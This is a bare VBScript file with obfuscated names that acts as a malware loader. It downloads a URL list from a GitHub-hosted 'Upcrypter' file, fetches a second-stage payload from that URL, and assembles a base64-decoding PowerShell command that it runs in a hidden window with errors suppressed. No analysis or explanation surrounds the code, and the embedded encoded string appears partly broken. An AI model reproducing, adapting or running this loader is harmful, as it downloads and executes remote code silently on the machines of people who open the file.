'v1.2.3.4
dim CwdHc : CwdHc = QorMk
Function QorMk()
QorMk = WScript.ScriptFullName
End Function
eIjFx = ("J
JwCTITo
on error resume next
Function ieDkp( ZzwbJ )
set HumeE = createobject("MSXML2.ServerXMLHTTP.6.0")
HumeE.open "GET", (ZzwbJ), false
HumeE.send ""
ieDkp = ( HumeE.responseText )
end Function
dim EDXkc
EDXkc = split( ieDkp( ("https://raw.githubusercontent.com/Pjoao1578/Upcrypter/main/DLL1") ), ",")(0)
TbnUC = ieDkp( EDXkc )
AcSIU = "$LxAae = '" & eIjFx & "'"
AcSIU = AcSIU & (";$UrNXf = [System.Text.Encoding]:")
AcSIU = AcSIU & (":Unicode.GetString(")
AcSIU = AcSIU & ("[System.Convert]::")
AcSIU = AcSIU & ("FromBase64String( $LxAae.replace('
','A') ) ).replace('%lUsNQ%','")
AcSIU = AcSIU & (TbnUC)
AcSIU = AcSIU & ("').replace('%UWWsj%','") & CwdHc & ("');powershell -Command $UrNXf")
set VplgU = CreateObject("WScript.Shell")
VplgU.Run( "powershell -command " & (AcSIU) ), 0, false